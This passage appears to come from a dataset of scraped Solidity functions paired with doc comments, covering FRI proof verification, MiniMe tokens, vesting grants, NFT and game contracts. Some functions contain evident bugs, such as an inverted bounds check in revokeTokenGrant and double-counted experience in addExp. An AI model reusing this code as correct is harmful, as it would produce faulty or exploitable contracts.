\r\n\t\t\r\n balances[msg.sender] = balances[msg.sender].add(tokens);\r\n balances[owner] = balances[owner].sub(tokens);\r\n buylimit[msg.sender]=buylimit[msg.sender].add(msg.value);\r\n emit Transfer(owner, msg.sender, tokens);\r\n \r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/*\n Reads 4 elements, and applies 2 + 1 FRI transformations to obtain a single element.\n \n FRI layer n: f0 f1 f2 f3\n ----------------------------------------- \\ / -- \\ / -----------\n FRI layer n+1: f0 f2\n -------------------------------------------- \\ ---/ -------------\n FRI layer n+2: f0\n \n The basic FRI transformation is described in nextLayerElementFromTwoPreviousLayerElements().\n */", "function_code": "function do2FriSteps(\n uint256 friHalfInvGroupPtr, uint256 evaluationsOnCosetPtr, uint256 cosetOffset_,\n uint256 friEvalPoint)\n internal pure returns (uint256 nextLayerValue, uint256 nextXInv) {\n assembly {\n let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001\n let friEvalPointDivByX := mulmod(friEvalPoint, cosetOffset_, PRIME)\n\n let f0 := mload(evaluationsOnCosetPtr)\n {\n let f1 := mload(add(evaluationsOnCosetPtr, 0x20))\n\n // f0 < 3P ( = 1 + 1 + 1).\n f0 := add(add(f0, f1),\n mulmod(friEvalPointDivByX,\n add(f0, /*-fMinusX*/sub(PRIME, f1)),\n PRIME))\n }\n\n let f2 := mload(add(evaluationsOnCosetPtr, 0x40))\n {\n let f3 := mload(add(evaluationsOnCosetPtr, 0x60))\n f2 := addmod(add(f2, f3),\n mulmod(add(f2, /*-fMinusX*/sub(PRIME, f3)),\n mulmod(mload(add(friHalfInvGroupPtr, 0x20)),\n friEvalPointDivByX,\n PRIME),\n PRIME),\n PRIME)\n }\n\n {\n let newXInv := mulmod(cosetOffset_, cosetOffset_, PRIME)\n nextXInv := mulmod(newXInv, newXInv, PRIME)\n }\n\n // f0 + f2 < 4P ( = 3 + 1).\n nextLayerValue := addmod(add(f0, f2),\n mulmod(mulmod(friEvalPointDivByX, friEvalPointDivByX, PRIME),\n add(f0, /*-fMinusX*/sub(PRIME, f2)),\n PRIME),\n PRIME)\n }\n }", "version": "0.6.11"} {"comment": "/*\n Returns the bit reversal of num assuming it has the given number of bits.\n For example, if we have numberOfBits = 6 and num = (0b)1101 == (0b)001101,\n the function will return (0b)101100.\n */", "function_code": "function bitReverse(uint256 num, uint256 numberOfBits)\n internal pure\n returns(uint256 numReversed)\n {\n assert((numberOfBits == 256) || (num < 2 ** numberOfBits));\n uint256 n = num;\n uint256 r = 0;\n for (uint256 k = 0; k < numberOfBits; k++) {\n r = (r * 2) | (n % 2);\n n = n / 2;\n }\n return r;\n }", "version": "0.6.11"} {"comment": "/*\n Operates on the coset of size friFoldedCosetSize that start at index.\n \n It produces 3 outputs:\n 1. The field elements that result from doing FRI reductions on the coset.\n 2. The pointInv elements for the location that corresponds to the first output.\n 3. The root of a Merkle tree for the input layer.\n \n The input is read either from the queue or from the proof depending on data availability.\n Since the function reads from the queue it returns an updated head pointer.\n */", "function_code": "function doFriSteps(\n uint256 friCtx, uint256 friQueueTail, uint256 cosetOffset_, uint256 friEvalPoint,\n uint256 friCosetSize, uint256 index, uint256 merkleQueuePtr)\n internal pure {\n uint256 friValue;\n\n uint256 evaluationsOnCosetPtr = friCtx + FRI_CTX_TO_COSET_EVALUATIONS_OFFSET;\n uint256 friHalfInvGroupPtr = friCtx + FRI_CTX_TO_FRI_HALF_INV_GROUP_OFFSET;\n\n // Compare to expected FRI step sizes in order of likelihood, step size 3 being most common.\n if (friCosetSize == 8) {\n (friValue, cosetOffset_) = do3FriSteps(\n friHalfInvGroupPtr, evaluationsOnCosetPtr, cosetOffset_, friEvalPoint);\n } else if (friCosetSize == 4) {\n (friValue, cosetOffset_) = do2FriSteps(\n friHalfInvGroupPtr, evaluationsOnCosetPtr, cosetOffset_, friEvalPoint);\n } else if (friCosetSize == 16) {\n (friValue, cosetOffset_) = do4FriSteps(\n friHalfInvGroupPtr, evaluationsOnCosetPtr, cosetOffset_, friEvalPoint);\n } else {\n require(false, \"Only step sizes of 2, 3 or 4 are supported.\");\n }\n\n uint256 lhashMask = getHashMask();\n assembly {\n let indexInNextStep := div(index, friCosetSize)\n mstore(merkleQueuePtr, indexInNextStep)\n mstore(add(merkleQueuePtr, 0x20), and(lhashMask, keccak256(evaluationsOnCosetPtr,\n mul(0x20,friCosetSize))))\n\n mstore(friQueueTail, indexInNextStep)\n mstore(add(friQueueTail, 0x20), friValue)\n mstore(add(friQueueTail, 0x40), cosetOffset_)\n }\n }", "version": "0.6.11"} {"comment": "/*\n Computes the FRI step with eta = log2(friCosetSize) for all the live queries.\n The input and output data is given in array of triplets:\n (query index, FRI value, FRI inversed point)\n in the address friQueuePtr (which is &ctx[mmFriQueue:]).\n \n The function returns the number of live queries remaining after computing the FRI step.\n \n The number of live queries decreases whenever multiple query points in the same\n coset are reduced to a single query in the next FRI layer.\n \n As the function computes the next layer it also collects that data from\n the previous layer for Merkle verification.\n */", "function_code": "function computeNextLayer(\n uint256 channelPtr, uint256 friQueuePtr, uint256 merkleQueuePtr, uint256 nQueries,\n uint256 friEvalPoint, uint256 friCosetSize, uint256 friCtx)\n internal pure returns (uint256 nLiveQueries) {\n uint256 merkleQueueTail = merkleQueuePtr;\n uint256 friQueueHead = friQueuePtr;\n uint256 friQueueTail = friQueuePtr;\n uint256 friQueueEnd = friQueueHead + (0x60 * nQueries);\n\n do {\n uint256 cosetOffset;\n uint256 index;\n (friQueueHead, index, cosetOffset) = gatherCosetInputs(\n channelPtr, friCtx, friQueueHead, friCosetSize);\n\n doFriSteps(\n friCtx, friQueueTail, cosetOffset, friEvalPoint, friCosetSize, index,\n merkleQueueTail);\n\n merkleQueueTail += 0x40;\n friQueueTail += 0x60;\n } while (friQueueHead < friQueueEnd);\n return (friQueueTail - friQueuePtr) / 0x60;\n }", "version": "0.6.11"} {"comment": "////////////////\n/// @notice Constructor to create a MiniMeToken\n/// @param _tokenFactory The address of the MiniMeTokenFactory contract that\n/// will create the Clone token contracts, the token factory needs to be\n/// deployed first\n/// @param _parentToken Address of the parent token, set to 0x0 if it is a\n/// new token\n/// @param _parentSnapShotBlock Block of the parent token that will\n/// determine the initial distribution of the clone token, set to 0 if it\n/// is a new token\n/// @param _tokenName Name of the new token\n/// @param _decimalUnits Number of decimals of the new token\n/// @param _tokenSymbol Token Symbol for the new token\n/// @param _transfersEnabled If true, tokens will be able to be transferred", "function_code": "function MiniMeToken(\r\n address _tokenFactory,\r\n address _parentToken,\r\n uint _parentSnapShotBlock,\r\n string _tokenName,\r\n uint8 _decimalUnits,\r\n string _tokenSymbol,\r\n bool _transfersEnabled\r\n ) public {\r\n tokenFactory = MiniMeTokenFactory(_tokenFactory);\r\n name = _tokenName; // Set the name\r\n decimals = _decimalUnits; // Set the decimals\r\n symbol = _tokenSymbol; // Set the symbol\r\n parentToken = MiniMeToken(_parentToken);\r\n parentSnapShotBlock = _parentSnapShotBlock;\r\n transfersEnabled = _transfersEnabled;\r\n creationBlock = block.number;\r\n }", "version": "0.4.24"} {"comment": "////////////////\n/// @notice Creates a new clone token with the initial distribution being\n/// this token at `_snapshotBlock`\n/// @param _cloneTokenName Name of the clone token\n/// @param _cloneDecimalUnits Number of decimals of the smallest unit\n/// @param _cloneTokenSymbol Symbol of the clone token\n/// @param _snapshotBlock Block when the distribution of the parent token is\n/// copied to set the initial distribution of the new clone token;\n/// if the block is zero than the actual block, the current block is used\n/// @param _transfersEnabled True if transfers are allowed in the clone\n/// @return The address of the new MiniMeToken Contract", "function_code": "function createCloneToken(\r\n string _cloneTokenName,\r\n uint8 _cloneDecimalUnits,\r\n string _cloneTokenSymbol,\r\n uint _snapshotBlock,\r\n bool _transfersEnabled\r\n ) public returns(address) {\r\n if (_snapshotBlock == 0) _snapshotBlock = block.number;\r\n MiniMeToken cloneToken = tokenFactory.createCloneToken(\r\n this,\r\n _snapshotBlock,\r\n _cloneTokenName,\r\n _cloneDecimalUnits,\r\n _cloneTokenSymbol,\r\n _transfersEnabled\r\n );\r\n\r\n cloneToken.changeController(msg.sender);\r\n\r\n // An event to make the token easy to find on the blockchain\r\n NewCloneToken(address(cloneToken), _snapshotBlock);\r\n return address(cloneToken);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Update the DApp by creating a new token with new functionalities\n/// the msg.sender becomes the controller of this clone token\n/// @param _parentToken Address of the token being cloned\n/// @param _snapshotBlock Block of the parent token that will\n/// determine the initial distribution of the clone token\n/// @param _tokenName Name of the new token\n/// @param _decimalUnits Number of decimals of the new token\n/// @param _tokenSymbol Token Symbol for the new token\n/// @param _transfersEnabled If true, tokens will be able to be transferred\n/// @return The address of the new token contract", "function_code": "function createCloneToken(\r\n address _parentToken,\r\n uint _snapshotBlock,\r\n string _tokenName,\r\n uint8 _decimalUnits,\r\n string _tokenSymbol,\r\n bool _transfersEnabled\r\n ) public returns (MiniMeToken) {\r\n MiniMeToken newToken = new MiniMeToken(\r\n this,\r\n _parentToken,\r\n _snapshotBlock,\r\n _tokenName,\r\n _decimalUnits,\r\n _tokenSymbol,\r\n _transfersEnabled\r\n );\r\n\r\n newToken.changeController(msg.sender);\r\n return newToken;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Grant tokens to a specified address\r\n * @param _to address The address which the tokens will be granted to.\r\n * @param _value uint256 The amount of tokens to be granted.\r\n * @param _start uint64 Time of the beginning of the grant.\r\n * @param _cliff uint64 Time of the cliff period.\r\n * @param _vesting uint64 The vesting period.\r\n */", "function_code": "function grantVestedTokens(\r\n address _to,\r\n uint256 _value,\r\n uint64 _start,\r\n uint64 _cliff,\r\n uint64 _vesting,\r\n bool _revokable,\r\n bool _burnsOnRevoke\r\n ) onlyController public {\r\n\r\n // Check for date inconsistencies that may cause unexpected behavior\r\n require(_cliff > _start && _vesting > _cliff);\r\n\r\n require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS); // To prevent a user being spammed and have his balance locked (out of gas attack when calculating vesting).\r\n\r\n uint count = grants[_to].push(\r\n TokenGrant(\r\n _revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable\r\n _value,\r\n _cliff,\r\n _vesting,\r\n _start,\r\n _revokable,\r\n _burnsOnRevoke\r\n )\r\n );\r\n\r\n transfer(_to, _value);\r\n\r\n NewTokenGrant(msg.sender, _to, _value, count - 1);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Revoke the grant of tokens of a specifed address.\r\n * @param _holder The address which will have its tokens revoked.\r\n * @param _grantId The id of the token grant.\r\n */", "function_code": "function revokeTokenGrant(address _holder, uint _grantId) public {\r\n TokenGrant storage grant = grants[_holder][_grantId];\r\n\r\n require(grant.revokable); // Check if grant was revokable\r\n require(grant.granter == msg.sender); // Only granter can revoke it\r\n require(_grantId >= grants[_holder].length);\r\n\r\n address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender;\r\n\r\n uint256 nonVested = nonVestedTokens(grant, uint64(now));\r\n\r\n // remove grant from array\r\n delete grants[_holder][_grantId];\r\n grants[_holder][_grantId] = grants[_holder][grants[_holder].length - 1];\r\n grants[_holder].length -= 1;\r\n\r\n // This will call MiniMe's doTransfer method, so token is transferred according to\r\n // MiniMe Token logic\r\n doTransfer(_holder, receiver, nonVested);\r\n\r\n Transfer(_holder, receiver, nonVested);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Calculate the total amount of transferable tokens of a holder at a given time\r\n * @param holder address The address of the holder\r\n * @param time uint64 The specific time.\r\n * @return An uint representing a holder's total amount of transferable tokens.\r\n */", "function_code": "function transferableTokens(address holder, uint64 time) constant public returns (uint256) {\r\n uint256 grantIndex = tokenGrantsCount(holder);\r\n\r\n if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants\r\n\r\n // Iterate through all the grants the holder has, and add all non-vested tokens\r\n uint256 nonVested = 0;\r\n for (uint256 i = 0; i < grantIndex; i++) {\r\n nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time));\r\n }\r\n\r\n // Balance - totalNonVested is the amount of tokens a holder can transfer at any given time\r\n uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested);\r\n\r\n // Return the minimum of how many vested can transfer and other value\r\n // in case there are other limiting transferability factors (default is balanceOf)\r\n return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Calculate amount of vested tokens at a specifc time.\r\n * @param tokens uint256 The amount of tokens grantted.\r\n * @param time uint64 The time to be checked\r\n * @param start uint64 A time representing the begining of the grant\r\n * @param cliff uint64 The cliff period.\r\n * @param vesting uint64 The vesting period.\r\n * @return An uint representing the amount of vested tokensof a specif grant.\r\n * transferableTokens\r\n * | _/-------- vestedTokens rect\r\n * | _/\r\n * | _/\r\n * | _/\r\n * | _/\r\n * | /\r\n * | .|\r\n * | . |\r\n * | . |\r\n * | . |\r\n * | . |\r\n * | . |\r\n * +===+===========+---------+----------> time\r\n * Start Clift Vesting\r\n */", "function_code": "function calculateVestedTokens(\r\n uint256 tokens,\r\n uint256 time,\r\n uint256 start,\r\n uint256 cliff,\r\n uint256 vesting) constant returns (uint256)\r\n {\r\n // Shortcuts for before cliff and after vesting cases.\r\n if (time < cliff) return 0;\r\n if (time >= vesting) return tokens;\r\n\r\n // Interpolate all vested tokens.\r\n // As before cliff the shortcut returns 0, we can use just calculate a value\r\n // in the vesting rect (as shown in above's figure)\r\n\r\n // vestedTokens = tokens * (time - start) / (vesting - start)\r\n uint256 vestedTokens = SafeMath.div(\r\n SafeMath.mul(\r\n tokens,\r\n SafeMath.sub(time, start)\r\n ),\r\n SafeMath.sub(vesting, start)\r\n );\r\n\r\n return vestedTokens;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get all information about a specifc grant.\r\n * @param _holder The address which will have its tokens revoked.\r\n * @param _grantId The id of the token grant.\r\n * @return Returns all the values that represent a TokenGrant(address, value, start, cliff,\r\n * revokability, burnsOnRevoke, and vesting) plus the vested value at the current time.\r\n */", "function_code": "function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) {\r\n TokenGrant storage grant = grants[_holder][_grantId];\r\n\r\n granter = grant.granter;\r\n value = grant.value;\r\n start = grant.start;\r\n cliff = grant.cliff;\r\n vesting = grant.vesting;\r\n revokable = grant.revokable;\r\n burnsOnRevoke = grant.burnsOnRevoke;\r\n\r\n vested = vestedTokens(grant, uint64(now));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Calculate the date when the holder can trasfer all its tokens\r\n * @param holder address The address of the holder\r\n * @return An uint representing the date of the last transferable tokens.\r\n */", "function_code": "function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) {\r\n date = uint64(now);\r\n uint256 grantIndex = grants[holder].length;\r\n for (uint256 i = 0; i < grantIndex; i++) {\r\n date = SafeMath.max64(grants[holder][i].vesting, date);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// copy all batches from the old contracts\n// leave ids intact", "function_code": "function copyNextBatch() public {\r\n require(migrating, \"must be migrating\");\r\n uint256 start = nextBatch;\r\n (uint48 userID, uint16 size) = old.batches(start);\r\n require(size > 0 && userID > 0, \"incorrect batch or limit reached\");\r\n if (old.cardProtos(start) != 0) {\r\n address to = old.userIDToAddress(userID);\r\n uint48 uID = _getUserID(to);\r\n batches[start] = Batch({\r\n userID: uID,\r\n size: size\r\n });\r\n uint256 end = start.add(size);\r\n for (uint256 i = start; i < end; i++) {\r\n emit Transfer(address(0), to, i);\r\n }\r\n _balances[to] = _balances[to].add(size);\r\n tokenCount = tokenCount.add(size);\r\n }\r\n nextBatch = nextBatch.add(batchSize);\r\n }", "version": "0.5.11"} {"comment": "// update validate protos to check if a proto is 0\n// prevent untradable cards", "function_code": "function _validateProtos(uint16[] memory _protos) internal {\r\n\r\n uint16 maxProto = 0;\r\n uint16 minProto = MAX_UINT16;\r\n for (uint256 i = 0; i < _protos.length; i++) {\r\n uint16 proto = _protos[i];\r\n if (proto >= MYTHIC_THRESHOLD) {\r\n _checkCanCreateMythic(proto);\r\n } else {\r\n require(proto != 0, \"proto is zero\");\r\n if (proto > maxProto) {\r\n maxProto = proto;\r\n }\r\n if (minProto > proto) {\r\n minProto = proto;\r\n }\r\n }\r\n }\r\n\r\n if (maxProto != 0) {\r\n uint256 season = protoToSeason[maxProto];\r\n // cards must be from the same season\r\n require(\r\n season != 0,\r\n \"Core: must have season set\"\r\n );\r\n\r\n require(\r\n season == protoToSeason[minProto],\r\n \"Core: can only create cards from the same season\"\r\n );\r\n\r\n require(\r\n factoryApproved[msg.sender][season],\r\n \"Core: must be approved factory for this season\"\r\n );\r\n }\r\n }", "version": "0.5.11"} {"comment": "// @dev Get the class's entire infomation.", "function_code": "function getClassInfo(uint32 _classId)\r\n external view\r\n returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs) \r\n {\r\n var _cl = heroClasses[_classId];\r\n return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats);\r\n }", "version": "0.4.18"} {"comment": "// @dev Get the hero's entire infomation.", "function_code": "function getHeroInfo(uint256 _tokenId)\r\n external view\r\n returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp)\r\n {\r\n HeroInstance memory _h = tokenIdToHeroInstance[_tokenId];\r\n var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4];\r\n return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp);\r\n }", "version": "0.4.18"} {"comment": "// @dev Get the total BP of the player.", "function_code": "function getTotalBPOfAddress(address _address)\r\n external view\r\n returns (uint32)\r\n {\r\n var _tokens = tokensOf(_address);\r\n uint32 _totalBP = 0;\r\n for (uint256 i = 0; i < _tokens.length; i ++) {\r\n _totalBP += getHeroBP(_tokens[i]);\r\n }\r\n return _totalBP;\r\n }", "version": "0.4.18"} {"comment": "// @dev Contructor.", "function_code": "function CryptoSagaHero(address _goldAddress)\r\n public\r\n {\r\n require(_goldAddress != address(0));\r\n\r\n // Assign Gold contract.\r\n setGoldContract(_goldAddress);\r\n\r\n // Initial heroes.\r\n // Name, Rank, Race, Age, Type, Max Level, Aura, Stats.\r\n defineType(\"Archangel\", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]);\r\n defineType(\"Shadowalker\", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]);\r\n defineType(\"Pyromancer\", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]);\r\n defineType(\"Magician\", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]);\r\n defineType(\"Farmer\", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]);\r\n }", "version": "0.4.18"} {"comment": "// @dev Define a new hero type (class).", "function_code": "function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats)\r\n onlyOwner\r\n public\r\n {\r\n require(_classRank < 5);\r\n require(_classType < 3);\r\n require(_aura < 5);\r\n require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]);\r\n\r\n HeroClass memory _heroType = HeroClass({\r\n className: _className,\r\n classRank: _classRank,\r\n classRace: _classRace,\r\n classAge: _classAge,\r\n classType: _classType,\r\n maxLevel: _maxLevel,\r\n aura: _aura,\r\n baseStats: _baseStats,\r\n minIVForStats: _minIVForStats,\r\n maxIVForStats: _maxIVForStats,\r\n currentNumberOfInstancedHeroes: 0\r\n });\r\n\r\n // Save the hero class.\r\n heroClasses[numberOfHeroClasses] = _heroType;\r\n\r\n // Fire event.\r\n DefineType(msg.sender, numberOfHeroClasses, _heroType.className);\r\n\r\n // Increment number of hero classes.\r\n numberOfHeroClasses ++;\r\n\r\n }", "version": "0.4.18"} {"comment": "// @dev Mint a new hero, with _heroClassId.", "function_code": "function mint(address _owner, uint32 _heroClassId)\r\n onlyAccessMint\r\n public\r\n returns (uint256)\r\n {\r\n require(_owner != address(0));\r\n require(_heroClassId < numberOfHeroClasses);\r\n\r\n // The information of the hero's class.\r\n var _heroClassInfo = heroClasses[_heroClassId];\r\n\r\n // Mint ERC721 token.\r\n _mint(_owner, numberOfTokenIds);\r\n\r\n // Build random IVs for this hero instance.\r\n uint32[5] memory _ivForStats;\r\n uint32[5] memory _initialStats;\r\n for (uint8 i = 0; i < 5; i++) {\r\n _ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i]));\r\n _initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i];\r\n }\r\n\r\n // Temporary hero instance.\r\n HeroInstance memory _heroInstance = HeroInstance({\r\n heroClassId: _heroClassId,\r\n heroName: \"\",\r\n currentLevel: 1,\r\n currentExp: 0,\r\n lastLocationId: 0,\r\n availableAt: now,\r\n currentStats: _initialStats,\r\n ivForStats: _ivForStats\r\n });\r\n\r\n // Save the hero instance.\r\n tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance;\r\n\r\n // Increment number of token ids.\r\n // This will only increment when new token is minted, and will never be decemented when the token is burned.\r\n numberOfTokenIds ++;\r\n\r\n // Increment instanced number of heroes.\r\n _heroClassInfo.currentNumberOfInstancedHeroes ++;\r\n\r\n return numberOfTokenIds - 1;\r\n }", "version": "0.4.18"} {"comment": "// @dev Set where the heroes are deployed, and when they will return.\n// This is intended to be called by Dungeon, Arena, Guild contracts.", "function_code": "function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration)\r\n onlyAccessDeploy\r\n public\r\n returns (bool)\r\n {\r\n // The hero should be possessed by anybody.\r\n require(ownerOf(_tokenId) != address(0));\r\n\r\n var _heroInstance = tokenIdToHeroInstance[_tokenId];\r\n\r\n // The character should be avaiable. \r\n require(_heroInstance.availableAt <= now);\r\n\r\n _heroInstance.lastLocationId = _locationId;\r\n _heroInstance.availableAt = now + _duration;\r\n\r\n // As the hero has been deployed to another place, fire event.\r\n Deploy(msg.sender, _tokenId, _locationId, _duration);\r\n }", "version": "0.4.18"} {"comment": "// @dev Add exp.\n// This is intended to be called by Dungeon, Arena, Guild contracts.", "function_code": "function addExp(uint256 _tokenId, uint32 _exp)\r\n onlyAccessDeploy\r\n public\r\n returns (bool)\r\n {\r\n // The hero should be possessed by anybody.\r\n require(ownerOf(_tokenId) != address(0));\r\n\r\n var _heroInstance = tokenIdToHeroInstance[_tokenId];\r\n\r\n var _newExp = _heroInstance.currentExp + _exp;\r\n\r\n // Sanity check to ensure we don't overflow.\r\n require(_newExp == uint256(uint128(_newExp)));\r\n\r\n _heroInstance.currentExp += _newExp;\r\n\r\n }", "version": "0.4.18"} {"comment": "// @dev Level up the hero with _tokenId.\n// This function is called by the owner of the hero.", "function_code": "function levelUp(uint256 _tokenId)\r\n onlyOwnerOf(_tokenId) whenNotPaused\r\n public\r\n {\r\n\r\n // Hero instance.\r\n var _heroInstance = tokenIdToHeroInstance[_tokenId];\r\n\r\n // The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.)\r\n require(_heroInstance.availableAt <= now);\r\n\r\n // The information of the hero's class.\r\n var _heroClassInfo = heroClasses[_heroInstance.heroClassId];\r\n\r\n // Hero shouldn't level up exceed its max level.\r\n require(_heroInstance.currentLevel < _heroClassInfo.maxLevel);\r\n\r\n // Required Exp.\r\n var requiredExp = getHeroRequiredExpForLevelUp(_tokenId);\r\n\r\n // Need to have enough exp.\r\n require(_heroInstance.currentExp >= requiredExp);\r\n\r\n // Required Gold.\r\n var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId);\r\n\r\n // Owner of token.\r\n var _ownerOfToken = ownerOf(_tokenId);\r\n\r\n // Need to have enough Gold balance.\r\n require(addressToGoldDeposit[_ownerOfToken] >= requiredGold);\r\n\r\n // Increase Level.\r\n _heroInstance.currentLevel += 1;\r\n\r\n // Increase Stats.\r\n for (uint8 i = 0; i < 5; i++) {\r\n _heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i];\r\n }\r\n \r\n // Deduct exp.\r\n _heroInstance.currentExp -= requiredExp;\r\n\r\n // Deduct gold.\r\n addressToGoldDeposit[_ownerOfToken] -= requiredGold;\r\n\r\n // Fire event.\r\n LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel);\r\n }", "version": "0.4.18"} {"comment": "// Need to check cases\n// 1 already upgraded\n// 2 first deposit (no R1)\n// 3 R1 < 10, first R1.5 takes over 10 ether\n// 4 R1 <= 10, second R1.5 takes over 10 ether", "function_code": "function upgradeOnePointZeroBalances() internal {\r\n // 1\r\n if (upgraded[msg.sender]) {\r\n log0(\"account already upgraded\");\r\n return;\r\n }\r\n // 2\r\n uint256 deposited = hgs.deposits(msg.sender);\r\n if (deposited == 0)\r\n return;\r\n // 3\r\n deposited = deposited.add(deposits[msg.sender]);\r\n if (deposited.add(msg.value) < 10 ether)\r\n return;\r\n // 4\r\n uint256 hgtBalance = hgt.balanceOf(msg.sender);\r\n uint256 upgradedAmount = deposited.mul(rate).div(1 ether);\r\n if (hgtBalance < upgradedAmount) {\r\n uint256 diff = upgradedAmount.sub(hgtBalance);\r\n hgt.transferFrom(reserves,msg.sender,diff);\r\n hgtSold = hgtSold.add(diff);\r\n upgradeHGT[msg.sender] = upgradeHGT[msg.sender].add(diff);\r\n log0(\"upgraded R1 to 20%\");\r\n }\r\n upgraded[msg.sender] = true;\r\n }", "version": "0.4.16"} {"comment": "/*\r\n * Set the pool that will receive the reward token\r\n * based on the address of the reward Token\r\n */", "function_code": "function setTokenPool(address _pool) public onlyGovernance {\r\n // To buy back grain, our `targetToken` needs to be FARM\r\n require(farm == IRewardPool(_pool).rewardToken(), \"Rewardpool's token is not FARM\");\r\n profitSharingPool = _pool;\r\n targetToken = farm;\r\n emit TokenPoolSet(targetToken, _pool);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Sets the path for swapping tokens to the to address\r\n * The to address is not validated to match the targetToken,\r\n * so that we could first update the paths, and then,\r\n * set the new target\r\n */", "function_code": "function setConversionPath(address from, address to, address[] memory _uniswapRoute)\r\n public onlyGovernance {\r\n require(from == _uniswapRoute[0],\r\n \"The first token of the Uniswap route must be the from token\");\r\n require(to == _uniswapRoute[_uniswapRoute.length - 1],\r\n \"The last token of the Uniswap route must be the to token\");\r\n uniswapRoutes[from][to] = _uniswapRoute;\r\n }", "version": "0.5.16"} {"comment": "/**\n * Computes an address's balance of incomplete control pieces.\n *\n * Balances can not be transfered in the traditional way, but are instead\n * computed by the amount of ArtBlocks tokens that an account directly\n * holds.\n *\n * @param _account the address of the owner\n */", "function_code": "function balanceOf(address _account) public view override returns (uint256) {\n uint256[] memory blocks = ArtBlocks(abAddress).tokensOfOwner(_account);\n uint256 counter = 0;\n\n for (uint256 i=0; i < blocks.length; i++) {\n if (blocks[i] >= abRangeMin && blocks[i] <= abRangeMax) {\n counter++;\n }\n }\n\n return counter;\n }", "version": "0.8.4"} {"comment": "// minting rewards bonus for people who help.", "function_code": "function withdraw() public payable onlyOwner {\r\n uint256 supply = totalSupply();\r\n require(supply == maxSupply || block.timestamp >= headStart, \"Can not withdraw yet.\");\r\n \r\n require(address(this).balance > 1 ether); \r\n uint256 poolBalance = address(this).balance * 20 / 100; \r\n uint256 bankBalance = address(this).balance * 30 / 100; \r\n if(finalPay == false) {\r\n finalPay = true;\r\n (bool communitygrowth, ) = payable(0x5751E1e0EF3198f4AD2f5483a68dB699cBfECDD8).call{value: poolBalance}(\"\");\r\n require(communitygrowth);\r\n }\r\n \r\n\r\n //Metabank\r\n (bool metaversebank, ) = payable(0x7cb0699dB6ff4BccC9BAd16D5156fB6EC52a9212).call{value: bankBalance}(\"\");\r\n require(metaversebank);\r\n \r\n //founder\r\n uint256 founderBalance = address(this).balance; \r\n (bool founder1, ) = payable(0x6e49117CceF4B1bDBd3cE5118910f3D17D953843).call{value: founderBalance * 45 / 100}(\"\");\r\n require(founder1);\r\n (bool founder2, ) = payable(0xA58ee9834F6D52cF936e538908449E60D9e4A6Bf).call{value: founderBalance * 225 / 1000}(\"\");\r\n require(founder2);\r\n (bool founder3, ) = payable(0xfC39E340Af7600D74157E89B18D553B4590E9797).call{value: founderBalance * 20 / 100}(\"\");\r\n require(founder3);\r\n (bool founder4, ) = payable(0x8B7732BCcb98a943bD275F71875fBCA63B54220a).call{value: founderBalance * 125 / 1000}(\"\");\r\n require(founder4);\r\n }", "version": "0.8.7"} {"comment": "/** @dev Creates `amount` tokens and assigns them to `account`, 